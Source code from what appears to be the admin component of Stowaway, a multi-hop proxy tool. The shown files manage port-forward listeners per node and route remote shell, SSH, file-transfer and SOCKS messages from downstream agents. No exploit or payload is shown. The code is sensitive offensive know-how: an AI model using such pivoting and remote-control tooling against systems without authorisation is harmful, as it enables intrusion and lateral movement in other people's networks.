223 | 			BackwardInfo: result,
224 | 		}
225 | 	} else {
226 | 		manager.ResultChan <- &backwardResult{
227 | 			OK:           false,
228 | 			BackwardInfo: result,
229 | 		}
230 | 	}
231 | }
232 | 
233 | func (manager *backwardManager) getStopRPort(task *BackwardTask) {
234 | 	manager.ResultChan <- &backwardResult{RPort: manager.backwardReadyDel[task.Choice]}
235 | }
236 | 
237 | func (manager *backwardManager) closeSingle(task *BackwardTask) {
238 | 	rPort := task.RPort
239 | 
240 | 	delete(manager.backwardMap[task.UUID], rPort)
241 | 
242 | 	for seq, relationship := range manager.backwardSeqMap {
243 | 		if relationship.uuid == task.UUID && relationship.rPort == rPort {
244 | 			delete(manager.backwardSeqMap, seq)
245 | 		}
246 | 	}
247 | 
248 | 	if len(manager.backwardMap[task.UUID]) == 0 {
249 | 		delete(manager.backwardMap, task.UUID)
250 | 	}
251 | 
252 | 	manager.ResultChan <- &backwardResult{OK: true}
253 | }
254 | 
255 | func (manager *backwardManager) closeSingleAll(task *BackwardTask) {
256 | 	for rPort := range manager.backwardMap[task.UUID] {
257 | 		delete(manager.backwardMap[task.UUID], rPort)
258 | 	}
259 | 
260 | 	for seq, relationship := range manager.backwardSeqMap {
261 | 		if relationship.uuid == task.UUID {
262 | 			delete(manager.backwardSeqMap, seq)
263 | 		}
264 | 	}
265 | 
266 | 	delete(manager.backwardMap, task.UUID)
267 | 
268 | 	manager.ResultChan <- &backwardResult{OK: true}
269 | }
270 | 
271 | func (manager *backwardManager) forceShutdown(task *BackwardTask) {
272 | 	if _, ok := manager.backwardMap[task.UUID]; ok {
273 | 		for rPort := range manager.backwardMap[task.UUID] {
274 | 			for seq, status := range manager.backwardMap[task.UUID][rPort].backwardStatusMap {
275 | 				close(status.dataChan)
276 | 				delete(manager.backwardMap[task.UUID][rPort].backwardStatusMap, seq)
277 | 			}
278 | 			delete(manager.backwardMap[task.UUID], rPort)
279 | 		}
280 | 
281 | 		for seq, relationship := range manager.backwardSeqMap {
282 | 			if relationship.uuid == task.UUID {
283 | 				delete(manager.backwardSeqMap, seq)
284 | 			}
285 | 		}
286 | 
287 | 		delete(manager.backwardMap, task.UUID)
288 | 	}
289 | 
290 | 	manager.ResultChan <- &backwardResult{OK: true}
291 | }
292 | 


--------------------------------------------------------------------------------
/admin/manager/forward.go:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * @Author: ph4ntom
  3 |  * @Date: 2021-04-02 16:01:58
  4 |  * @LastEditors: ph4ntom
  5 |  * @LastEditTime: 2021-04-02 18:46:53
  6 |  */
  7 | package manager
  8 | 
  9 | import (
 10 | 	"net"
 11 | )
 12 | 
 13 | const (
 14 | 	F_GETNEWSEQ = iota
 15 | 	F_NEWFORWARD
 16 | 	F_ADDCONN
 17 | 	F_GETDATACHAN
 18 | 	F_GETDATACHAN_WITHOUTUUID
 19 | 	F_GETFORWARDINFO
 20 | 	F_CLOSETCP
 21 | 	F_CLOSESINGLE
 22 | 	F_CLOSESINGLEALL
 23 | 	F_FORCESHUTDOWN
 24 | )
 25 | 
 26 | type forwardManager struct {
 27 | 	forwardSeq      uint64
 28 | 	forwardSeqMap   map[uint64]*fwSeqRelationship  // map[seq](port+uuid) just for accelerate the speed of searching detail only by seq
 29 | 	forwardMap      map[string]map[string]*forward // map[uuid]map[port]*forward's detail record forward status
 30 | 	forwardReadyDel map[int]string                 // map[user's option]port(no need to initial it in newForwardManager())
 31 | 
 32 | 	ForwardMessChan chan interface{}
 33 | 	ForwardReady    chan bool
 34 | 
 35 | 	TaskChan   chan *ForwardTask
 36 | 	ResultChan chan *forwardResult
 37 | 	Done       chan bool
 38 | }
 39 | 
 40 | type ForwardTask struct {
 41 | 	Mode int
 42 | 	UUID string // node uuid
 43 | 	Seq  uint64 // seq
 44 | 
 45 | 	Port        string
 46 | 	RemoteAddr  string
 47 | 	CloseTarget int
 48 | 	Listener    net.Listener
 49 | }
 50 | 
 51 | type forwardResult struct {
 52 | 	OK bool
 53 | 
 54 | 	ForwardSeq  uint64
 55 | 	DataChan    chan []byte
 56 | 	ForwardInfo []*forwardInfo
 57 | }
 58 | 
 59 | type forward struct {
 60 | 	remoteAddr string
 61 | 	listener   net.Listener
 62 | 
 63 | 	forwardStatusMap map[uint64]*forwardStatus
 64 | }
 65 | 
 66 | type forwardStatus struct {
 67 | 	dataChan chan []byte
 68 | }
 69 | 
 70 | type fwSeqRelationship struct {
 71 | 	uuid string
 72 | 	port string
 73 | }
 74 | 
 75 | type forwardInfo struct {
 76 | 	Seq       int
 77 | 	Laddr     string
 78 | 	Raddr     string
 79 | 	ActiveNum int
 80 | }
 81 | 
 82 | func newForwardManager() *forwardManager {
 83 | 	manager := new(forwardManager)
 84 | 
 85 | 	manager.forwardMap = make(map[string]map[string]*forward)
 86 | 	manager.forwardSeqMap = make(map[uint64]*fwSeqRelationship)
 87 | 	manager.ForwardMessChan = make(chan interface{}, 5)
 88 | 	manager.ForwardReady = make(chan bool)
 89 | 
 90 | 	manager.TaskChan = make(chan *ForwardTask)
 91 | 	manager.ResultChan = make(chan *forwardResult)
 92 | 	manager.Done = make(chan bool)
 93 | 
 94 | 	return manager
 95 | }
 96 | 
 97 | func (manager *forwardManager) run() {
 98 | 	for {
 99 | 		task := <-manager.TaskChan
100 | 
101 | 		switch task.Mode {
102 | 		case F_NEWFORWARD:
103 | 			manager.newForward(task)
104 | 		case F_GETNEWSEQ:
105 | 			manager.getNewSeq(task)
106 | 		case F_ADDCONN:
107 | 			manager.addConn(task)
108 | 		case F_GETDATACHAN:
109 | 			manager.getDatachan(task)
110 | 		case F_GETDATACHAN_WITHOUTUUID:
111 | 			manager.getDatachanWithoutUUID(task)
112 | 			<-manager.Done
113 | 		case F_GETFORWARDINFO:
114 | 			manager.getForwardInfo(task)
115 | 		case F_CLOSETCP:
116 | 			manager.closeTCP(task)
117 | 		case F_CLOSESINGLE:
118 | 			manager.closeSingle(task)
119 | 		case F_CLOSESINGLEALL:
120 | 			manager.closeSingleAll(task)
121 | 		case F_FORCESHUTDOWN:
122 | 			manager.forceShutdown(task)
123 | 		}
124 | 	}
125 | }
126 | 
127 | // 2022.7.19 Fix nil pointer bug,thx to @zyylhn
128 | func (manager *forwardManager) newForward(task *ForwardTask) {
129 | 	if _, ok := manager.forwardMap[task.UUID]; !ok {
130 | 		manager.forwardMap[task.UUID] = make(map[string]*forward)
131 | 	}
132 | 
133 | 	manager.forwardMap[task.UUID][task.Port] = new(forward)
134 | 	manager.forwardMap[task.UUID][task.Port].listener = task.Listener
135 | 	manager.forwardMap[task.UUID][task.Port].remoteAddr = task.RemoteAddr
136 | 	manager.forwardMap[task.UUID][task.Port].forwardStatusMap = make(map[uint64]*forwardStatus)
137 | 
138 | 	manager.ResultChan <- &forwardResult{OK: true}
139 | }
140 | 
141 | func (manager *forwardManager) getNewSeq(task *ForwardTask) {
142 | 	manager.forwardSeqMap[manager.forwardSeq] = &fwSeqRelationship{uuid: task.UUID, port: task.Port}
143 | 	manager.ResultChan <- &forwardResult{ForwardSeq: manager.forwardSeq}
144 | 	manager.forwardSeq++
145 | }
146 | 
147 | func (manager *forwardManager) addConn(task *ForwardTask) {
148 | 	if _, ok := manager.forwardSeqMap[task.Seq]; !ok {
149 | 		manager.ResultChan <- &forwardResult{OK: false}
150 | 		return
151 | 	}
152 | 
153 | 	manager.forwardMap[task.UUID][task.Port].forwardStatusMap[task.Seq] = new(forwardStatus)
154 | 	manager.forwardMap[task.UUID][task.Port].forwardStatusMap[task.Seq].dataChan = make(chan []byte, 5)
155 | 	manager.ResultChan <- &forwardResult{OK: true}
156 | }
157 | 
158 | func (manager *forwardManager) getDatachan(task *ForwardTask) {
159 | 	if _, ok := manager.forwardSeqMap[task.Seq]; !ok {
160 | 		manager.ResultChan <- &forwardResult{OK: false}
161 | 		return
162 | 	}
163 | 
164 | 	if _, ok := manager.forwardMap[task.UUID][task.Port].forwardStatusMap[task.Seq]; ok { // need to check ,because you will never know when fin come
165 | 		manager.ResultChan <- &forwardResult{
166 | 			OK:       true,
167 | 			DataChan: manager.forwardMap[task.UUID][task.Port].forwardStatusMap[task.Seq].dataChan,
168 | 		}
169 | 	} else {
170 | 		manager.ResultChan <- &forwardResult{OK: false}
171 | 	}
172 | }
173 | 
174 | func (manager *forwardManager) getDatachanWithoutUUID(task *ForwardTask) {
175 | 	if _, ok := manager.forwardSeqMap[task.Seq]; !ok {
176 | 		manager.ResultChan <- &forwardResult{OK: false}
177 | 		return
178 | 	}
179 | 
180 | 	uuid := manager.forwardSeqMap[task.Seq].uuid
181 | 	port := manager.forwardSeqMap[task.Seq].port
182 | 
183 | 	manager.ResultChan <- &forwardResult{ // no need to chek forwardStatusMap[task.Seq] like above,because no more data after fin
184 | 		OK:       true,
185 | 		DataChan: manager.forwardMap[uuid][port].forwardStatusMap[task.Seq].dataChan,
186 | 	}
187 | }
188 | 
189 | func (manager *forwardManager) getForwardInfo(task *ForwardTask) {
190 | 	manager.forwardReadyDel = make(map[int]string)
191 | 
192 | 	var result []*forwardInfo
193 | 	seq := 1
194 | 
195 | 	if _, ok := manager.forwardMap[task.UUID]; ok {
196 | 		for port, info := range manager.forwardMap[task.UUID] {
197 | 			manager.forwardReadyDel[seq] = port
198 | 			result = append(result, &forwardInfo{Seq: seq, Laddr: info.listener.Addr().String(), Raddr: info.remoteAddr, ActiveNum: len(info.forwardStatusMap)})
199 | 			seq++
200 | 		}
201 | 		manager.ResultChan <- &forwardResult{
202 | 			OK:          true,
203 | 			ForwardInfo: result,
204 | 		}
205 | 	} else {
206 | 		manager.ResultChan <- &forwardResult{
207 | 			OK:          false,
208 | 			ForwardInfo: result,
209 | 		}
210 | 	}
211 | }
212 | 
213 | func (manager *forwardManager) closeTCP(task *ForwardTask) {
214 | 	if _, ok := manager.forwardSeqMap[task.Seq]; !ok {
215 | 		return
216 | 	}
217 | 
218 | 	uuid := manager.forwardSeqMap[task.Seq].uuid
219 | 	port := manager.forwardSeqMap[task.Seq].port
220 | 
221 | 	close(manager.forwardMap[uuid][port].forwardStatusMap[task.Seq].dataChan)
222 | 
223 | 	delete(manager.forwardMap[uuid][port].forwardStatusMap, task.Seq)
224 | }
225 | 
226 | func (manager *forwardManager) closeSingle(task *ForwardTask) {
227 | 	// find port that user want to del
228 | 	port := manager.forwardReadyDel[task.CloseTarget]
229 | 	// close corresponding listener
230 | 	manager.forwardMap[task.UUID][port].listener.Close()
231 | 	// clear every single connection's resources
232 | 	for seq, status := range manager.forwardMap[task.UUID][port].forwardStatusMap {
233 | 		close(status.dataChan)
234 | 		delete(manager.forwardMap[task.UUID][port].forwardStatusMap, seq)
235 | 	}
236 | 	// delete the target port
237 | 	delete(manager.forwardMap[task.UUID], port)
238 | 	// clear the seqmap that match relationship.uuid == task.UUID && relationship.port == port
239 | 	for seq, relationship := range manager.forwardSeqMap {
240 | 		if relationship.uuid == task.UUID && relationship.port == port {
241 | 			delete(manager.forwardSeqMap, seq)
242 | 		}
243 | 	}
244 | 	// if no other forward services running on current node,delete node from manager.forwardMap
245 | 	if len(manager.forwardMap[task.UUID]) == 0 {
246 | 		delete(manager.forwardMap, task.UUID)
247 | 	}
248 | 
249 | 	manager.ResultChan <- &forwardResult{OK: true}
250 | }
251 | 
252 | func (manager *forwardManager) closeSingleAll(task *ForwardTask) {
253 | 	for port, forward := range manager.forwardMap[task.UUID] {
254 | 		forward.listener.Close()
255 | 
256 | 		for seq, status := range forward.forwardStatusMap {
257 | 			close(status.dataChan)
258 | 			delete(forward.forwardStatusMap, seq)
259 | 		}
260 | 
261 | 		delete(manager.forwardMap[task.UUID], port)
262 | 	}
263 | 
264 | 	for seq, relationship := range manager.forwardSeqMap {
265 | 		if relationship.uuid == task.UUID {
266 | 			delete(manager.forwardSeqMap, seq)
267 | 		}
268 | 	}
269 | 
270 | 	delete(manager.forwardMap, task.UUID)
271 | 
272 | 	manager.ResultChan <- &forwardResult{OK: true}
273 | }
274 | 
275 | func (manager *forwardManager) forceShutdown(task *ForwardTask) {
276 | 	if _, ok := manager.forwardMap[task.UUID]; ok {
277 | 		manager.closeSingleAll(task)
278 | 	} else {
279 | 		manager.ResultChan <- &forwardResult{OK: true}
280 | 	}
281 | }
282 | 


--------------------------------------------------------------------------------
/admin/manager/manager.go:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * @Author: ph4ntom
 3 |  * @Date: 2021-03-23 19:01:26
 4 |  * @LastEditors: ph4ntom
 5 |  * @LastEditTime: 2021-04-02 17:24:21
 6 |  */
 7 | package manager
 8 | 
 9 | import (
10 | 	"Stowaway/share"
11 | )
12 | 
13 | type Manager struct {
14 | 	ConsoleManager   *consoleManager
15 | 	FileManager      *fileManager
16 | 	SocksManager     *socksManager
17 | 	ForwardManager   *forwardManager
18 | 	BackwardManager  *backwardManager
19 | 	SSHManager       *sshManager
20 | 	SSHTunnelManager *sshTunnelManager
21 | 	ShellManager     *shellManager
22 | 	InfoManager      *infoManager
23 | 	ListenManager    *listenManager
24 | 	ConnectManager   *connectManager
25 | 	ChildrenManager  *childrenManager
26 | }
27 | 
28 | func NewManager(file *share.MyFile) *Manager {
29 | 	manager := new(Manager)
30 | 	manager.ConsoleManager = newConsoleManager()
31 | 	manager.FileManager = newFileManager(file)
32 | 	manager.SocksManager = newSocksManager()
33 | 	manager.ForwardManager = newForwardManager()
34 | 	manager.BackwardManager = newBackwardManager()
35 | 	manager.SSHManager = newSSHManager()
36 | 	manager.SSHTunnelManager = newSSHTunnelManager()
37 | 	manager.ShellManager = newShellManager()
38 | 	manager.InfoManager = newInfoManager()
39 | 	manager.ListenManager = newListenManager()
40 | 	manager.ConnectManager = newConnectManager()
41 | 	manager.ChildrenManager = newchildrenManager()
42 | 	return manager
43 | }
44 | 
45 | func (manager *Manager) Run() {
46 | 	go manager.SocksManager.run()
47 | 	go manager.ForwardManager.run()
48 | 	go manager.BackwardManager.run()
49 | }
50 | 


--------------------------------------------------------------------------------
/admin/manager/others.go:
--------------------------------------------------------------------------------
  1 | package manager
  2 | 
  3 | import (
  4 | 	"Stowaway/share"
  5 | )
  6 | 
  7 | type consoleManager struct {
  8 | 	OK   chan bool
  9 | 	Exit chan bool
 10 | }
 11 | 
 12 | func newConsoleManager() *consoleManager {
 13 | 	manager := new(consoleManager)
 14 | 	manager.OK = make(chan bool)
 15 | 	manager.Exit = make(chan bool, 1)
 16 | 	return manager
 17 | }
 18 | 
 19 | type fileManager struct {
 20 | 	File *share.MyFile
 21 | 
 22 | 	FileMessChan chan interface{}
 23 | }
 24 | 
 25 | func newFileManager(file *share.MyFile) *fileManager {
 26 | 	manager := new(fileManager)
 27 | 	manager.File = file
 28 | 	manager.FileMessChan = make(chan interface{}, 5)
 29 | 	return manager
 30 | }
 31 | 
 32 | type sshManager struct {
 33 | 	SSHMessChan chan interface{}
 34 | }
 35 | 
 36 | func newSSHManager() *sshManager {
 37 | 	manager := new(sshManager)
 38 | 	manager.SSHMessChan = make(chan interface{}, 5)
 39 | 	return manager
 40 | }
 41 | 
 42 | type sshTunnelManager struct {
 43 | 	SSHTunnelMessChan chan interface{}
 44 | }
 45 | 
 46 | func newSSHTunnelManager() *sshTunnelManager {
 47 | 	manager := new(sshTunnelManager)
 48 | 	manager.SSHTunnelMessChan = make(chan interface{}, 5)
 49 | 	return manager
 50 | }
 51 | 
 52 | type shellManager struct {
 53 | 	ShellMessChan chan interface{}
 54 | }
 55 | 
 56 | func newShellManager() *shellManager {
 57 | 	manager := new(shellManager)
 58 | 	manager.ShellMessChan = make(chan interface{}, 5)
 59 | 	return manager
 60 | }
 61 | 
 62 | type infoManager struct {
 63 | 	InfoMessChan chan interface{}
 64 | }
 65 | 
 66 | func newInfoManager() *infoManager {
 67 | 	manager := new(infoManager)
 68 | 	manager.InfoMessChan = make(chan interface{}, 5)
 69 | 	return manager
 70 | }
 71 | 
 72 | type listenManager struct {
 73 | 	ListenMessChan chan interface{}
 74 | 	ListenReady    chan bool
 75 | }
 76 | 
 77 | func newListenManager() *listenManager {
 78 | 	manager := new(listenManager)
 79 | 	manager.ListenMessChan = make(chan interface{}, 5)
 80 | 	manager.ListenReady = make(chan bool)
 81 | 	return manager
 82 | }
 83 | 
 84 | type connectManager struct {
 85 | 	ConnectMessChan chan interface{}
 86 | 	ConnectReady    chan bool
 87 | }
 88 | 
 89 | func newConnectManager() *connectManager {
 90 | 	manager := new(connectManager)
 91 | 	manager.ConnectMessChan = make(chan interface{}, 5)
 92 | 	manager.ConnectReady = make(chan bool)
 93 | 	return manager
 94 | }
 95 | 
 96 | type childrenManager struct {
 97 | 	ChildrenMessChan chan interface{}
 98 | }
 99 | 
100 | func newchildrenManager() *childrenManager {
101 | 	manager := new(childrenManager)
102 | 	manager.ChildrenMessChan = make(chan interface{}, 5)
103 | 	return manager
104 | }
105 | 


--------------------------------------------------------------------------------
/admin/printer/printer.go:
--------------------------------------------------------------------------------
 1 | package printer
 2 | 
 3 | import "github.com/fatih/color"
 4 | 
 5 | var (
 6 | 	Warning func(format string, a ...interface{})
 7 | 	Success func(format string, a ...interface{})
 8 | 	Fail    func(format string, a ...interface{})
 9 | )
10 | 
11 | func InitPrinter() {
12 | 	Warning = color.New(color.FgYellow).PrintfFunc()
13 | 	Success = color.New(color.FgGreen).PrintfFunc()
14 | 	Fail = color.New(color.FgRed).PrintfFunc()
15 | }
16 | 


--------------------------------------------------------------------------------
/admin/process/children.go:
--------------------------------------------------------------------------------
 1 | package process
 2 | 
 3 | import (
 4 | 	"Stowaway/admin/manager"
 5 | 	"Stowaway/admin/printer"
 6 | 	"Stowaway/admin/topology"
 7 | 	"Stowaway/protocol"
 8 | )
 9 | 
10 | func nodeOffline(mgr *manager.Manager, topo *topology.Topology, uuid string) {
11 | 	topoTask := &topology.TopoTask{
12 | 		Mode: topology.DELNODE,
13 | 		UUID: uuid,
14 | 	}
15 | 	topo.TaskChan <- topoTask
16 | 	result := <-topo.ResultChan
17 | 	allNodes := result.AllNodes
18 | 
19 | 	for _, nodeUUID := range allNodes {
20 | 		backwardTask := &manager.BackwardTask{
21 | 			Mode: manager.B_FORCESHUTDOWN,
22 | 			UUID: nodeUUID,
23 | 		}
24 | 		mgr.BackwardManager.TaskChan <- backwardTask
25 | 		<-mgr.BackwardManager.ResultChan
26 | 
27 | 		forwardTask := &manager.ForwardTask{
28 | 			Mode: manager.F_FORCESHUTDOWN,
29 | 			UUID: nodeUUID,
30 | 		}
31 | 		mgr.ForwardManager.TaskChan <- forwardTask
32 | 		<-mgr.ForwardManager.ResultChan
33 | 
34 | 		socksTask := &manager.SocksTask{
35 | 			Mode: manager.S_FORCESHUTDOWN,
36 | 			UUID: nodeUUID,
37 | 		}
38 | 		mgr.SocksManager.TaskChan <- socksTask
39 | 		<-mgr.SocksManager.ResultChan
40 | 	}
41 | 
42 | 	topoTask = &topology.TopoTask{
43 | 		Mode: topology.CALCULATE,
44 | 	}
45 | 	topo.TaskChan <- topoTask
46 | 	<-topo.ResultChan
47 | }
48 | 
49 | func nodeReonline(mgr *manager.Manager, topo *topology.Topology, mess *protocol.NodeReonline) {
50 | 	node := topology.NewNode(mess.UUID, mess.IP)
51 | 
52 | 	topoTask := &topology.TopoTask{
53 | 		Mode:       topology.REONLINENODE,
54 | 		Target:     node,
55 | 		ParentUUID: mess.ParentUUID,
56 | 		IsFirst:    false,
57 | 	}
58 | 	topo.TaskChan <- topoTask
59 | 	<-topo.ResultChan
60 | 
61 | 	topoTask = &topology.TopoTask{
62 | 		Mode: topology.CALCULATE,
63 | 	}
64 | 	topo.TaskChan <- topoTask
65 | 	<-topo.ResultChan
66 | 
67 | 	topoTask = &topology.TopoTask{
68 | 		Mode: topology.GETUUIDNUM,
69 | 		UUID: mess.UUID,
70 | 	}
71 | 	topo.TaskChan <- topoTask
72 | 	result := <-topo.ResultChan
73 | 
74 | 	printer.Success("\r\n[*] Node %d is reonline!", result.IDNum)
75 | }
76 | 
77 | func DispatchChildrenMess(mgr *manager.Manager, topo *topology.Topology) {
78 | 	for {
79 | 		message := <-mgr.ChildrenManager.ChildrenMessChan
80 | 
81 | 		switch mess := message.(type) {
82 | 		case *protocol.NodeOffline:
83 | 			nodeOffline(mgr, topo, mess.UUID)
84 | 		case *protocol.NodeReonline:
85 | 			nodeReonline(mgr, topo, mess)
86 | 		}
87 | 	}
88 | }
89 | 


--------------------------------------------------------------------------------
/admin/process/process.go:
--------------------------------------------------------------------------------
  1 | //go:build !windows
  2 | 
  3 | package process
  4 | 
  5 | import (
  6 | 	"os"
  7 | 
  8 | 	"Stowaway/admin/cli"
  9 | 	"Stowaway/admin/handler"
 10 | 	"Stowaway/admin/initial"
 11 | 	"Stowaway/admin/manager"
 12 | 	"Stowaway/admin/printer"
 13 | 	"Stowaway/admin/topology"
 14 | 	"Stowaway/global"
 15 | 	"Stowaway/protocol"
 16 | 	"Stowaway/share"
 17 | 
 18 | 	"github.com/nsf/termbox-go"
 19 | )
 20 | 
 21 | type Admin struct {
 22 | 	mgr      *manager.Manager
 23 | 	options  *initial.Options
 24 | 	topology *topology.Topology
 25 | }
 26 | 
 27 | func NewAdmin(opt *initial.Options, topo *topology.Topology) *Admin {
 28 | 	admin := new(Admin)
 29 | 	admin.topology = topo
 30 | 	admin.options = opt
 31 | 	return admin
 32 | }
 33 | 
 34 | func (admin *Admin) Run() {
 35 | 	admin.mgr = manager.NewManager(share.NewFile())
 36 | 	go admin.mgr.Run()
 37 | 	// Init console
 38 | 	console := cli.NewConsole()
 39 | 	console.Init(admin.topology, admin.mgr)
 40 | 	// hanle all message comes from downstream
 41 | 	go admin.handleMessFromDownstream(console)
 42 | 	// run a dispatcher to dispatch different kinds of message
 43 | 	go handler.DispatchListenMess(admin.mgr, admin.topology)
 44 | 	go handler.DispatchConnectMess(admin.mgr)
 45 | 	go handler.DispathSocksMess(admin.mgr, admin.topology)
 46 | 	go handler.DispatchForwardMess(admin.mgr)
 47 | 	go handler.DispatchBackwardMess(admin.mgr, admin.topology)
 48 | 	go handler.DispatchFileMess(admin.mgr)
 49 | 	go handler.DispatchSSHMess(admin.mgr)
 50 | 	go handler.DispatchSSHTunnelMess(admin.mgr)
 51 | 	go handler.DispatchShellMess(admin.mgr)
 52 | 	go handler.DispatchInfoMess(admin.mgr, admin.topology)
 53 | 	go DispatchChildrenMess(admin.mgr, admin.topology)
 54 | 	// if options.Heartbeat set, send hearbeat packet to agent
 55 | 	if admin.options.Heartbeat {
 56 | 		go handler.LetHeartbeat(admin.topology)
 57 | 	}
 58 | 	// start interactive panel
 59 | 	console.Run()
 60 | }
 61 | 
 62 | func (admin *Admin) handleMessFromDownstream(console *cli.Console) {
 63 | 	rMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
 64 | 
 65 | 	for {
 66 | 		header, message, err := protocol.DestructMessage(rMessage)
 67 | 		if err != nil {
 68 | 			printer.Fail("\r\n[*] Peer node seems offline!")
 69 | 			// wait for user to exit
 70 | 			printer.Fail("\r\n[*] Press any key to exit")
 71 | 			termbox.PollEvent()
 72 | 			// close termbox
 73 | 			termbox.Close()
 74 | 			os.Exit(0)
 75 | 		}
 76 | 
 77 | 		switch header.MessageType {
 78 | 		case protocol.MYINFO:
 79 | 			admin.mgr.InfoManager.InfoMessChan <- message
 80 | 		case protocol.SHELLRES:
 81 | 			fallthrough
 82 | 		case protocol.SHELLRESULT:
 83 | 			fallthrough
 84 | 		case protocol.SHELLEXIT:
 85 | 			admin.mgr.ShellManager.ShellMessChan <- message
 86 | 		case protocol.SSHRES:
 87 | 			fallthrough
 88 | 		case protocol.SSHRESULT:
 89 | 			fallthrough
 90 | 		case protocol.SSHEXIT:
 91 | 			admin.mgr.SSHManager.SSHMessChan <- message
 92 | 		case protocol.SSHTUNNELRES:
 93 | 			admin.mgr.SSHTunnelManager.SSHTunnelMessChan <- message
 94 | 		case protocol.FILESTATREQ:
 95 | 			fallthrough
 96 | 		case protocol.FILEDOWNRES:
 97 | 			fallthrough
 98 | 		case protocol.FILESTATRES:
 99 | 			fallthrough
100 | 		case protocol.FILEDATA:
101 | 			fallthrough
102 | 		case protocol.FILEERR:
103 | 			admin.mgr.FileManager.FileMessChan <- message
104 | 		case protocol.SOCKSREADY:
105 | 			fallthrough
106 | 		case protocol.SOCKSTCPDATA:
107 | 			fallthrough
108 | 		case protocol.SOCKSTCPFIN:
109 | 			fallthrough
110 | 		case protocol.UDPASSSTART:
111 | 			fallthrough
112 | 		case protocol.SOCKSUDPDATA:
113 | 			admin.mgr.SocksManager.SocksMessChan <- message
114 | 		case protocol.FORWARDREADY:
115 | 			fallthrough
116 | 		case protocol.FORWARDDATA:
117 | 			fallthrough
118 | 		case protocol.FORWARDFIN:
119 | 			admin.mgr.ForwardManager.ForwardMessChan <- message
120 | 		case protocol.BACKWARDREADY:
121 | 			fallthrough
122 | 		case protocol.BACKWARDDATA:
123 | 			fallthrough
124 | 		case protocol.BACKWARDFIN:
125 | 			fallthrough
126 | 		case protocol.BACKWARDSTOPDONE:
127 | 			fallthrough
128 | 		case protocol.BACKWARDSTART:
129 | 			admin.mgr.BackwardManager.BackwardMessChan <- message
130 | 		case protocol.CHILDUUIDREQ: // include "connect" && "listen" func, let ListenManager do all this stuff,ConnectManager can just watch
131 | 			fallthrough
132 | 		case protocol.LISTENRES:
133 | 			admin.mgr.ListenManager.ListenMessChan <- message
134 | 		case protocol.CONNECTDONE:
135 | 			admin.mgr.ConnectManager.ConnectMessChan <- message
136 | 		case protocol.NODEREONLINE:
137 | 			fallthrough
138 | 		case protocol.NODEOFFLINE:
139 | 			admin.mgr.ChildrenManager.ChildrenMessChan <- message
140 | 		default:
141 | 			printer.Fail("\r\n[*] Unknown Message!")
142 | 		}
143 | 	}
144 | }
145 | 


--------------------------------------------------------------------------------
/admin/process/process_win.go:
--------------------------------------------------------------------------------
  1 | //go:build windows
  2 | 
  3 | package process
  4 | 
  5 | import (
  6 | 	"os"
  7 | 
  8 | 	"Stowaway/admin/cli"
  9 | 	"Stowaway/admin/handler"
 10 | 	"Stowaway/admin/initial"
 11 | 	"Stowaway/admin/manager"
 12 | 	"Stowaway/admin/printer"
 13 | 	"Stowaway/admin/topology"
 14 | 	"Stowaway/global"
 15 | 	"Stowaway/protocol"
 16 | 	"Stowaway/share"
 17 | )
 18 | 
 19 | type Admin struct {
 20 | 	mgr      *manager.Manager
 21 | 	options  *initial.Options
 22 | 	topology *topology.Topology
 23 | }
 24 | 
 25 | func NewAdmin(opt *initial.Options, topo *topology.Topology) *Admin {
 26 | 	admin := new(Admin)
 27 | 	admin.topology = topo
 28 | 	admin.options = opt
 29 | 	return admin
 30 | }
 31 | 
 32 | func (admin *Admin) Run() {
 33 | 	admin.mgr = manager.NewManager(share.NewFile())
 34 | 	go admin.mgr.Run()
 35 | 	// Init console
 36 | 	console := cli.NewConsole()
 37 | 	console.Init(admin.topology, admin.mgr)
 38 | 	// hanle all message comes from downstream
 39 | 	go admin.handleMessFromDownstream(console)
 40 | 	// run a dispatcher to dispatch different kinds of message
 41 | 	go handler.DispatchListenMess(admin.mgr, admin.topology)
 42 | 	go handler.DispatchConnectMess(admin.mgr)
 43 | 	go handler.DispathSocksMess(admin.mgr, admin.topology)
 44 | 	go handler.DispatchForwardMess(admin.mgr)
 45 | 	go handler.DispatchBackwardMess(admin.mgr, admin.topology)
 46 | 	go handler.DispatchFileMess(admin.mgr)
 47 | 	go handler.DispatchSSHMess(admin.mgr)
 48 | 	go handler.DispatchSSHTunnelMess(admin.mgr)
 49 | 	go handler.DispatchShellMess(admin.mgr)
 50 | 	go handler.DispatchInfoMess(admin.mgr, admin.topology)
 51 | 	go DispatchChildrenMess(admin.mgr, admin.topology)
 52 | 	// if options.Heartbeat set, send hearbeat packet to agent
 53 | 	if admin.options.Heartbeat {
 54 | 		go handler.LetHeartbeat(admin.topology)
 55 | 	}
 56 | 	// start interactive panel
 57 | 	console.Run()
 58 | }
 59 | 
 60 | func (admin *Admin) handleMessFromDownstream(console *cli.Console) {
 61 | 	rMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
 62 | 
 63 | 	for {
 64 | 		header, message, err := protocol.DestructMessage(rMessage)
 65 | 		if err != nil {
 66 | 			printer.Fail("\r\n[*] Peer node seems offline!")
 67 | 			os.Exit(0)
 68 | 		}
 69 | 
 70 | 		switch header.MessageType {
 71 | 		case protocol.MYINFO:
 72 | 			admin.mgr.InfoManager.InfoMessChan <- message
 73 | 		case protocol.SHELLRES:
 74 | 			fallthrough
 75 | 		case protocol.SHELLRESULT:
 76 | 			fallthrough
 77 | 		case protocol.SHELLEXIT:
 78 | 			admin.mgr.ShellManager.ShellMessChan <- message
 79 | 		case protocol.SSHRES:
 80 | 			fallthrough
 81 | 		case protocol.SSHRESULT:
 82 | 			fallthrough
 83 | 		case protocol.SSHEXIT:
 84 | 			admin.mgr.SSHManager.SSHMessChan <- message
 85 | 		case protocol.SSHTUNNELRES:
 86 | 			admin.mgr.SSHTunnelManager.SSHTunnelMessChan <- message
 87 | 		case protocol.FILESTATREQ:
 88 | 			fallthrough
 89 | 		case protocol.FILEDOWNRES:
 90 | 			fallthrough
 91 | 		case protocol.FILESTATRES:
 92 | 			fallthrough
 93 | 		case protocol.FILEDATA:
 94 | 			fallthrough
 95 | 		case protocol.FILEERR:
 96 | 			admin.mgr.FileManager.FileMessChan <- message
 97 | 		case protocol.SOCKSREADY:
 98 | 			fallthrough
 99 | 		case protocol.SOCKSTCPDATA:
100 | 			fallthrough
101 | 		case protocol.SOCKSTCPFIN:
102 | 			fallthrough
103 | 		case protocol.UDPASSSTART:
104 | 			fallthrough
